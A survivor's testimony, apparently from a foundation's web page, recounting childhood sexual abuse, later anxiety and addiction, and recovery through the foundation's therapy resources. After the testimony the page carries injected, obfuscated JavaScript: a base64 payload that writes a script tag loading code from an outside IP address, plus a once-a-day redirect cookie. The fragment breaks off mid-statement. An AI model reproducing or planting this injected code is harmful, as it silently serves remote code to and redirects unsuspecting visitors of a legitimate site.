I am a 32 year old wife and mother of 2 children. I am also a survivor of childhood sexual abuse. I love the way that saying/typing the word “survivor” feels. At this point in my journey it is a very empowering word, one that I never until recently felt strong enough to use. My story of abuse started when I was very young, my mother married a pedophile and the grooming process began almost immediately after they met. Most things were easily overlooked and dismissed for years I was molested and too afraid to tell. Over time the molesting and sodomy became more excessive and turned into more. When I was just 8 years old on an afternoon just before Christmas, a man I called “dad” violently raped me. I was taken to the hospital, and he was taken to prison. I struggled most of my life with anxiety, drug, alcohol, and sex addiction. Finally after years of flash backs, nightmares, fear, and out of control acting out, I sought out help and really began to turn my life around. I married a man who already had a 3 yr. old son, and a few years later we had another child, life seemed great. Until I received a letter in the mail (on my birthday) that the monster that hurt me would be released from prison and gave a residing address 20 min. from a place I called home for 12 years. Almost immediately I had a panic attack, then I cried uncontrollably for days. I was literally paralyzed with fear. Not only for myself, but “Oh, what about my 8 year old daughter?” I re-lived every minute of my abuse over and over, I became that little girl all over again. For close to a month this went on and on and on….. Then I was reminded of a card I had been given at an Easter Egg hunt 7 months before, a business card from Pete. So I called the phone number and spoke with Gretchen from Let Go…Let Peace Come In. Almost immediately resources were made avaliable to me, I started seeing a therapist, and over time I learned techniques and excercises to not only help me cope with the trauma from my past, but to also be “present” for my future. Today I feel safe, healthy, happy, and strong….. Wow, what a gift.
I am truly thankful, So Very Thankful for this foundation. For all of the people that saw in me what I couldn’t. And for the opportunity to become who I am. I hope to give back some of what I’ve been given today. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘